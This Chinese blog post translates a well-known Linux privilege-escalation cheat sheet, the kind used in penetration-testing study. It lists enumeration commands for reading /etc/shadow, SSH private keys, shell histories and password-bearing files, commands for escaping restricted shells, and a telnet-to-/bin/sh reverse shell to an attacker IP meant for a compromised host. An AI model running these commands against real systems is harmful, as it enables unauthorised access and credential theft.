文档章节

linux提权收集(译文)

超级大黑猫
 超级大黑猫
发布于 03/05 11:39
字数 1745
阅读 44
收藏 0
点赞 0
评论 0

本文操作都是基于低权限的前提

攻击者在提权过程中会尝试大量的权限探测以达到提权的目的建议阅读者使用普通用户和root用户分别执行以对比执行效果

版本查询

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian系统及其衍生
cat /etc/redhat-release   # Redhat系统及其衍生

是否是64位

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

查看环境变量设置

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查询打印机情况

lpstat -a

当前进程与服务

ps aux
ps -ef
top
cat /etc/services

以root权限运行的进程和服务 建议仔细检查

ps aux | grep root
ps -ef | grep root

查询已安装软件和对应版本以及开机启动项

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

是否有不安全的错误配置

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

查看linux的任务计划  可以尝试替换并重启机器实现root

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

查询粗心的管理员留下的用户名和密码的文本内容

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla系统

查询管理员定制的nic驱动信息

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查询当前主机网络设置 包括dns  dhcp 还是静态网络

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

查询当前系统正在交互的系统信息

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

当前ip/mac缓存

arp -e
route
/sbin/route -nee

简单的嗅探数据 查看当前设置是否可以嗅探

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

#备注  tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

尝试是否能执行shell(不建议这么使用 建议直接socat反弹)

nc -lvp 4444    # 攻击命令输入
nc -lvp 4445    # 攻击结果输出
telnet [攻击者 ip] 44444 | /bin/sh | [本地 ip] 44445 #在肉鸡上执行!使用攻击者ip!

检测端口转发

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 #windows上
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # 本地映射到远程
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # 远程映射到本地
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig  #本地代理查看 觉得不实际

查询系统用户情况

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

敏感文件内容查询

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

查询用户家目录文件

ls -ahlR /root/
ls -ahlR /home/

查询可能包含用户密码的文件(不推荐 这个做法有问题)

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

管理员操作历史痕迹查询

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

查询其他用户信息

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

ssh服务的key信息

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

etc目录下敏感文件

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone  文件属性是对应的 就不翻译了
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

var目录下日志文件

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

web隐藏的配置文件

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

系统日志文件

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

查询当前是否在jail里 或者 shell是否有限制

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

当前的mount记录

mount
df -h

当前未mount但是已经连接并识别的设备系统

cat /etc/fstab

查找SUID & GUID设置特殊标志的文件

find / -perm -1000 -type d 2>/dev/null   
# 粘滞位-如果用户对目录有写权限,则可以删除其中的文件和子目录,即使该用户不是这些文件的所有者,而且也没有读或写许可

find / -perm -g=s -type f 2>/dev/null    
# 以所有者用户组权限运行

find / -perm -u=s -type f 2>/dev/null    
# 以所有者用户权限运行

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    
# SGID 或 SUID文件查找

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done  
#在这些目录下 /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 查找 SGID or SUID 文件

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
#在以根目录下的三层目录内寻找不包括link文件的SGID或者SUID文件

寻找可写并可执行目录或文件

find / -writable -type d 2>/dev/null      #可写
find / -perm -222 -type d 2>/dev/null     #可写
find / -perm -o w -type d 2>/dev/null     #可写
find / -perm -o x -type d 2>/dev/null     #可写

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   #可覆盖文件
find /dir -xdev \( -nouser -o -nogroup \) -print   # 无所有者文件

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   #可写可执行

寻找exp运行环境 有时候有些执行文件管理员并不是默认安装

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

查看可上传的通道

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

exploit查找的汇集网站

http://www.exploit-db.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

https://github.com/SecWiki/linux-kernel-exploits

 

去掉了原文一些过时或不可实现的操作

原文地址:

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

© 著作权归作者所有

共有 人打赏支持
超级大黑猫
粉丝 4
博文 95
码字总数 36018
作品 0
杭州
程序员
紧急公告,Sudo本地提权漏洞

国外安全研究人员发现Linux环节下,可以通过sudo实现本地提权漏洞,漏洞编号为CVE-2017-1000367,该漏洞几乎影响了所有Linux系统。具体详情如下: 漏洞编号: CVE-2017-1000367 漏洞名称: Sud...

linuxCool
2017/10/27
0
0
5- 快速上手Linux玩转典型应用- Linux常用命令

6- Linux常用命令 软件操作命令 服务器硬件资源和磁盘操作 最近一分钟 & 五分钟 & 十五分钟。健康指标。 变为1已经是满负载。0.6,0.7标准。 fdisk 格式化磁盘。 文件和文件夹操作命令 Linux全...

天涯明月笙
06/26
0
0
通过可写文件获取Root权限的多种方式

      写在前面的话   在Linux系统中,任何东西都是以文件形式存在的,包括目录和设备在内,它们都拥有读取、写入和执行权限(需配置)。当管理员在设置文件权限时,必须根据Linux用户...

FreeBuf
06/30
0
0
如何利用Struts2漏洞绕过防火墙获取Root权限

  本文我要分享的是关于Apache struts2 CVE-2013–2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为“action:”/”redirect:”/”redirec...

FreeBuf
05/17
0
0
在Linux上通过可写文件获取root权限的多种方式

  在Linux中,一切都可以看做文件,包括所有允许/禁止读写执行权限的目录和设备。当管理员为任何文件设置权限时,都应清楚并合理为每个Linux用户分配应有的读写执行权限。在本文中我将为大...

FreeBuf
06/17
0
0
linux本地提权工具--Auto Rooter

Auto Rooter是一款linux本地提权工具。 auto-rooter是恶意黑客常用的工具,它被用来远程入侵新的计算机系统。典型的auto-rooter使用一些收集好的漏洞,用来攻击特定的目标 以获得机器的root权...

匿名
2011/07/25
1K
0
st2045 漏洞反弹root shell

通过strust2 045漏洞,拿到root命令执行权限。 在自己服务器上,安装socat,监听端口如 在目标服务器上执行 可在自己服务器上看到反弹的root shell,可以执行命令,查看端口情况。 查看linux...

D-0
2017/10/26
0
0
在Linux中使用环境变量进行提权

  在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!   介绍   PATH是Linux和类Unix操作系统...

FreeBuf
06/20
0
0
技术分享 如何使用Cron Jobs实现Linux提权

      写在前面的话   今天给各位渗透测试同行们提供一种Linux提权方法,在这篇文章中,我们将介绍如何使用Cron Jobs来实现Linux下的权限提升,并获取远程主机的root访问权。   Cro...

FreeBuf
06/28
0
0
CentOS 内核升级步骤和方法

当前系统为CentOS Linux release 6.0 (Final),内核版本为2.6.32-71.el6.i686.由于最近内核出现最新的漏洞(linux kernel 又爆内存提权漏洞,2.6.39 内核无一幸免,所以将内核升级至3.2.2最新...

LiShixi
2012/03/27
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

Python数据分析numpy(1)

Python开源的科学计算基础库 1.表示N维数组对象ndarray 2.线性代数、傅里叶变换、随机数生成 3.广播函数,整合c++、c 一.数据的维度 1.数据 2.数据维度 3.一维数据 (1)特点 (2)Python中的...

十年磨一剑3344
7分钟前
0
0
csv导入Hive脚本

from pyspark.sql import HiveContexthivec = HiveContext(sc) # 创建一个hivecontext对象用于写执行SQL,sc为sparkcontext# 拼接一个字段类型字符串str_s = 'label String,'...

gulf
9分钟前
0
0
TensorFlow 隐含层 拟合 异或运算

a⊕b = (¬a ∧ b) ∨ (a ∧¬b) 数据 X = [[0, 0], [0, 1], [1, 0], [1, 1]]Y = [[0], [1], [1], [0]] 单层网络只能拟合线性问题,由于异或是非线性问题,需要使用多层网络 输入和输出 [[...

阿豪boy
23分钟前
0
0
SVN 教程

http://www.runoob.com/svn/svn-tutorial.html

yeahlife
24分钟前
0
0
在Python中,不用while和for循环遍历列表

a = [1, 2, 3, 8, 9]def printlist(l, index): if index == len(l): return else: print(l[index]) printlist(l, index + 1)printlist(a,......

丁典
25分钟前
0
0
Kubernetes使用中发现的错误及解决

运行 kubectl dashboard 时报错: Error validating service: Error getting service kubernetes-dashboard: services "kubernetes-dashboard" not found 排查 kubectl get po --all-names......

哎码
30分钟前
0
0
在git上面找开源项目遇到的坑

1,不写安装环境。 2,不写包版本 3,半成品 4,写了自动部署脚本,但是里面没有都是用默认最新包名

NLGBZJ
37分钟前
0
0
在线准考证如何保存为PDF

1.IE浏览器右键点击保存为html文件至桌面 2.将html文件打开方式选择word打开 3.word打开选择pdf进行保存

森火
41分钟前
0
0
【二】Actions, Controllers and Results

什么是Action? 一个Play应用接收到的请求一般都交给 Action 来处理。 而一个 play.api.mvc.Action 本质上就是一个 (play.api.mvc.Request => play.api.mvc.Result) 函数,它被用来处理请求并...

Landas
50分钟前
0
0
我所理解的接口设计

前言 自己做接口开发的时间也算不短了(三年),想写这篇文章其实差不多已经有一年多的时间了。我将从下面的方向来对我所理解的接口设计做个总结: 接口参数定义 -> 接口版本化的问题 -> 接口的...

度_
55分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部